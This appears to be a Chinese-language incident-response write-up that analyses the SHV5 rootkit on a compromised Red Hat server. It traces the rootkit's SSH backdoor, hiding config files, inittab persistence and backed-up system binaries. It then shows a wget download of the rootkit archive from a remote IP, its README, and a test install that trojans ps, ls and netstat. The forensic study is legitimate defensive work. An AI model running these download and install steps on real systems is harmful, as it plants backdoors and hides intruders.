root 2663 0.0 0.0 2128 516 ? Ss 12:37 0:00 /sbin/ttyload -q （原型出来了）
root 15350 0.0 0.0 4088 604 pts/0 S+ 15:21 0:00 grep 2663
[root@localhost sbin]# lsof -p 2663
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
3 2663 root cwd DIR 253,0 4096 2 /
3 2663 root rtd DIR 253,0 4096 2 /
3 2663 root txt REG 253,0 652620 34897965 /tmp/sh-AQJ3OQYACSO (deleted) （是个压缩的）
3 2663 root mem REG 253,0 121684 8586729 /lib/ld-2.5.so
3 2663 root mem REG 253,0 1576952 8586730 /lib/libc-2.5.so
3 2663 root mem REG 253,0 101036 8586743 /lib/libnsl-2.5.so
3 2663 root mem REG 253,0 15264 8586757 /lib/libutil-2.5.so
3 2663 root mem REG 253,0 27836 8585303 /lib/libcrypt-2.5.so
3 2663 root 0u CHR 1,3 1517 /dev/null
3 2663 root 1u CHR 1,3 1517 /dev/null
3 2663 root 2u CHR 1,3 1517 /dev/null
3 2663 root 3u IPv4 9895 TCP *:65530 (LISTEN)
[root@localhost sbin]# lsof -p 2679
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ttymon 2679 root cwd DIR 253,0 4096 2 /
ttymon 2679 root rtd DIR 253,0 4096 2 /
ttymon 2679 root txt REG 253,0 93476 852119 /sbin/ttymon
ttymon 2679 root mem REG 253,0 46740 8585257 /lib/libnss_files-2.5.so
ttymon 2679 root mem REG 253,0 121684 8586729 /lib/ld-2.5.so
ttymon 2679 root mem REG 253,0 1576952 8586730 /lib/libc-2.5.so
ttymon 2679 root 3u raw 9925 00000000:0001->00000000:0000 st=07
监听65530端口的是个ssh后门：
[root@localhost sbin]# nc 127.0.0.1 65530
SSH-1.5-2.0.13
Protocol mismatch.
密码应该在：
[root@localhost sbin]# cat /etc/sh.conf
76800957735704ee3dd8ac42779db49a -
加密了， 我们再看看另外一个配置文件：
[root@localhost sbin]# cat /lib/lidps1.so
ttyload
shsniff
shp
shsb
hide
burim
synscan
mirkforce
ttymon
sh2-power
看来是ps的配置文件。
看看另外一个进程：
[root@localhost sbin]# strings /sbin/ttymon
............（省略若干行）
Usage: %s <dst> <src> <size> <number>
Ports are set to send and receive on port 179
dst: Destination Address
src: Source Address
size: Size of packet which should be no larger than 1024 should allow for xtra header info thru routes
num: packets
Could not resolve %s fucknut
根据这个Google了下， 应该是个dos工具。 感兴趣的可以编译下玩玩看看：http://www.securityfocus.com/archive/82/334848这里有。
ok我们现在进入黑客的老巢：
[root@localhost sbin]# cd /usr/lib/libsh
[root@localhost libsh]# ls -al
total 140
drwxr-xr-x 6 root root 4096 Dec 18 2008 .
drwxr-xr-x 118 root root 69632 Jul 17 13:55 ..
drwxr-xr-x 2 root root 4096 Dec 18 2008 .backup
-rwxr-xr-x 1 122 114 1206 Apr 18 2003 .bashrc
-rwxr-xr-x 1 122 114 2000 Nov 28 2006 hide
drwxr-xr-x 2 root root 4096 Dec 18 2008 .owned
-rwxr-xr-x 1 122 114 1345 Nov 28 2006 shsb
drwxr-xr-x 2 root root 4096 Jul 14 04:03 .sniff
drwxr-xr-x 2 gaobo gaobo 4096 Nov 28 2006 utilz
[root@localhost libsh]# ls .backup/
dir find ifconfig ls lsof md5sum netstat ps pstree top
上面就是我们系统备份的文件， 直接恢复即可。
find搜下其他的配置文件。 此步骤省略。 最后都找到了：
[root@localhost libsh]# find / -nouser
/lib/libsh.so/shhk.pub
/lib/libsh.so/shhk
/lib/libsh.so/shrs
............（省略若干行）
[root@localhost libsh]# cd /lib/libsh.so/
[root@localhost libsh.so]# ls
bash shdcf shhk shhk.pub shrs
这个目录是ssh的配置文件
其他的用关键字就可以了：如find / -name "*" -exec grep -l "ttyload" {} \;
[root@localhost lib]# cat /usr/include/proc.h
3 burim
3 mirkforce
3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
[root@localhost lib]# cat /usr/include/file.h
sh.conf
libsh
.sh
system
shsb
libsh.so
shp
shsniff
srd0
[root@localhost lib]# cat /usr/include/hosts.h
2 212.110
2 195.26
2 194.143
2 62.220
3 2002
4 2002
3 6667
4 6667
3 65530
4 65530
[root@localhost lib]# cat /usr/include/log.h
mirkforce
synscan
syslog
那看看他怎么启动的：
[root@localhost lib]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"
# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"
# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload （在这里了）
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
# modem getty.
# m235:respawn:/usr/sbin/mgetty -s 38400 modem
# fax getty (hylafax)
# m35:respawn:/usr/lib/fax/faxgetty /dev/modem
# vbox (voice box) getty
# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6
# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7
# end of /etc/inittab
看看他的启动文件：
[root@localhost lib]# cat /usr/sbin/ttyload
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1
以上除了工具， 我们通过手工的方式对rootkit进行了一些简单的分析， 这个是个没有修改过的SHV5。 以上只是一些思路， 在对待入侵问题上要具体问题具体分析， 这个相对简单了点。
下面我们测试下这个SHV5：
[root@localhost .v]# wget http://211.100.50.70/shv5.tar.gz
解压、安装：
[root@localhost .v]# tar zxf shv5.tar.gz
[root@localhost .v]# cd shv5
[root@localhost shv5]# ls
bin.tgz conf.tgz lib.tgz README setup utilz.tgz
[root@localhost shv5]# cat README
############
### shv5 ###
############
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMM
MMMMMM MMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMM
MMMMMMMM MMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMM
MMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMM MMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM MMM MMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMM MMMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMM MMMMMMMMMMMMM
MMMMMMMM MMMMMMM MMMMMMM MMMMM MMMMMMM
DISCLAIMER:
* The purpose of these coded instructions, statements and computer
* programs is for TEST AIMS ONLY !
* Their use/misuse is at USERS OWN RISK !
* We do not take any responsibility for any harm or damage caused
* by the use of this file-package.
* This includes copying, duplicating or modifying it in any form !
* USERS WHO USE THIS CODED INSTRUCTIONS, STATEMENTS AND COMPUTER
* PROGRAMS MUST ACCEPT ALL ABOVE STATEMENTS !
* OTHERWISE U ARE OBLIGED TO DELETE THESE FILES IMEDIATELY !
CHANGES [shv5]:
-> - new sshd backdor with env-settings (avoids history logging)
- The new sshd is in between 1.2.25-2.0.13 SSHD (from ssh.com)
- not so big and with new great features designed to suite shv5.
-> new rk-dirs coz of lamme anti-shv4 release
-> new security-checks on the script
- latest flaws included (mod_ssl, samba, sendmail etc..)
-> setup-script rewriten to become more soft (friendly)
-> added new addons (tripwire, snort ... fucker :))
-> added basic utilz on rootkit (i hate dld them on each box)
-> we use md5sum passwords now (more l33t and secure)
USAGE:
-> - If u expect me to tell you how/what/if/when/where type of
- questions delete these files imediately! This is not for you!
TOD
-> tcpdump trojan
-> crontab trojan
-> sendmail backdoor
-> ftp backdoor
-> httpd backdoor
-> any other idea ?!?!?! < mail: pint@dosnet.info >
[root@localhost shv5]# ./setup sshdoor 8585
[sh]# Installing shv5 ... this wont take long
[sh]# If u think we will patch your holes shoot yourself !
[sh]# so patch manualy and fuck off!
============================================================================
MMMMM MMMMMM
MMM MMMMMMMMM MMMM MMMM MMM
MMM MMMM MMMM MMMM MMMM MMM
MMM MMMMMMM MMMMMMMMMMMM MMM
MMM MMMMMMMM MMMMMMMMMMMM MMM
MMM MMMM MMMM MMMM MMM
MMM MMMM MMMM MMMM MMMM MMM
MMM MMMMMMMMM MMMM MMMM MMM
MMM MMM
MMMMM -C- -R- -E- -W- MMMMMM
============================================================================
[sh]#
[sh]#
[sh]# checking for remote logging... guess not.
[sh]# checking for tripwire... guess not.
[sh]# [Installing trojans....]
[sh]# Using Password : sshdoor
[sh]# Using ssh-port : 8585
mkdir: cannot create directory `/usr/lib/libsh': File exists
mkdir: cannot create directory `/usr/lib/libsh/.backup': File exists
[sh]# : ps/ls/top/netstat/ifconfig/find/ and rest backdoored
[sh]#
[sh]# [Installing some utils...]
[sh]# : mirk/synscan/others... moved
[sh]# [Moving our files...]
mkdir: cannot create directory `/usr/lib/libsh/.sniff': File exists
[sh]# : sniff/parse/sauber/hide moved
[sh]# [Modifying system settings to suite our needs]
[sh]# Checking for vuln-daemons ...
Unknown HZ value! (194) Assume 100.
[sh]# RPC.STATD found - patch it bitch !!!!
mkdir: cannot create directory `/usr/lib/libsh/.owned': File exists
--------------------------------------------------------------------
[sh]# [System Information...]
[sh]# Hostname : localhost.localdomain (222.222.66.11)
[sh]# Arch : 2007 -+- bogomips : 6003.55
5999.45 '
[sh]# Alternative IP : 127.0.0.1 -+- Might be [1 ] active adapters.
[sh]# Distribution: Red Hat Enterprise Linux Server release 5 (Tikanga)
--------------------------------------------------------------------
[sh]# ipchains ... ?
[sh]# lucky for u no ipchains found
--------------------------------------------------------------------
[sh]# iptables ...?
iptables: No chain/target/match by that name
--------------------------------------------------------------------
[sh]# Just ignore all errors if any !
[sh]# ============================== Backdooring completed in :3 seconds
[root@localhost shv5]# nc 127.0.0.1 8585
SSH-1.5-2.0.13
Protocol mismatch.
根据SHV5的setup脚本我们可以稍微改下变成自动卸载的脚本， 之后附在文后。
累死了， 赶紧回家休息。
……